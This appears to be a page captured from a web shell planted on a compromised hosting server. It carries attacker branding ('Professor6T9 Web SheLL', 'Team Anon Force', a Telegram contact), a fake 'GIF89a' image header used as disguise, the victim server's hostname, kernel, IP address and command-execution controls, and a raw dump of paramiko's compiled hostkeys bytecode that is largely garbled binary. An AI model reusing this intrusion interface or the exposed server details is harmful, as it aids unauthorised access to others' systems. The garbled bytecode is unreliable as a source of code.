GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
paramiko
/
__pycache__
[ HOME ]
Exec
Submit
File Name : hostkeys.cpython-38.pyc
U rX�f�3 � @ s� d dl mZmZ d dlZd dlZd dlZd dlmZ d dlm Z d dl mZ d dlm Z mZ d dlmZmZmZmZ d dlmZ G d d � d e�ZG dd� de�ZG d d� d�ZdS )� )�encodebytes�decodebytesN)�MutableMapping)�sha1)�HMAC)�PKey�UnknownKeyType)� get_logger�constant_time_bytes_eq�b�u)�SSHExceptionc @ s� e Zd ZdZd#dd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd � Zed$d!d"��ZdS )%�HostKeysaZ Representation of an OpenSSH-style "known hosts" file. Host keys can be read from one or more files, and then individual hosts can be looked up to verify server keys during SSH negotiation. A `.HostKeys` object can be treated like a dict; any dict lookup is equivalent to calling `lookup`. .. versionadded:: 1.5.3 Nc C s g | _ |dk r| �|� dS )z� Create a new HostKeys object, optionally loading keys from an OpenSSH style host-key file. :param str filename: filename to load host keys from, or ``None`` N)�_entries�load)�self�filename� r �B/opt/alt/python38/lib/python3.8/site-packages/paramiko/hostkeys.py�__init__/ s zHostKeys.__init__c C sH | j D ](}||jkr|j�� |kr||_ dS q| j �t|g|�� dS )a. Add a host key entry to the table. Any existing entry for a ``(hostname, keytype)`` pair will be replaced. :param str hostname: the hostname (or IP) to add :param str keytype: key type (``"ssh-rsa"`` or ``"ssh-dss"``) :param .PKey key: the key to add N)r � hostnames�key�get_name�append�HostKeyEntry)r �hostnameZkeytyper �er r r �add; s zHostKeys.addc C s� t |d���}t|d�D ]�\}}|�� }t|�dks|d dkr@qzt�||�}W n tk rh Y qY nX |dk r|j}|D ]}| �||j �r||j� |� q|t|j�r| j�|� qW 5 Q R X dS )a] Read a file of known SSH host keys, in the format used by OpenSSH. This type of file unfortunately doesn't exist on Windows, but on posix, it will usually be stored in ``os.path.expanduser("~/.ssh/known_hosts")``. If this method is called multiple times, the host keys are merged, not cleared. So multiple calls to `load` will just call `add`, replacing any existing entries and adding new ones. :param str filename: name of the file to read host keys from :raises: ``IOError`` -- if there was an error reading the file �r� r �#N) �open� enumerate�strip�lenr � from_liner r �checkr �remover r )r r �f�lineno�line�entryZ _hostnames�hr r r r J s z HostKeys.loadc C s<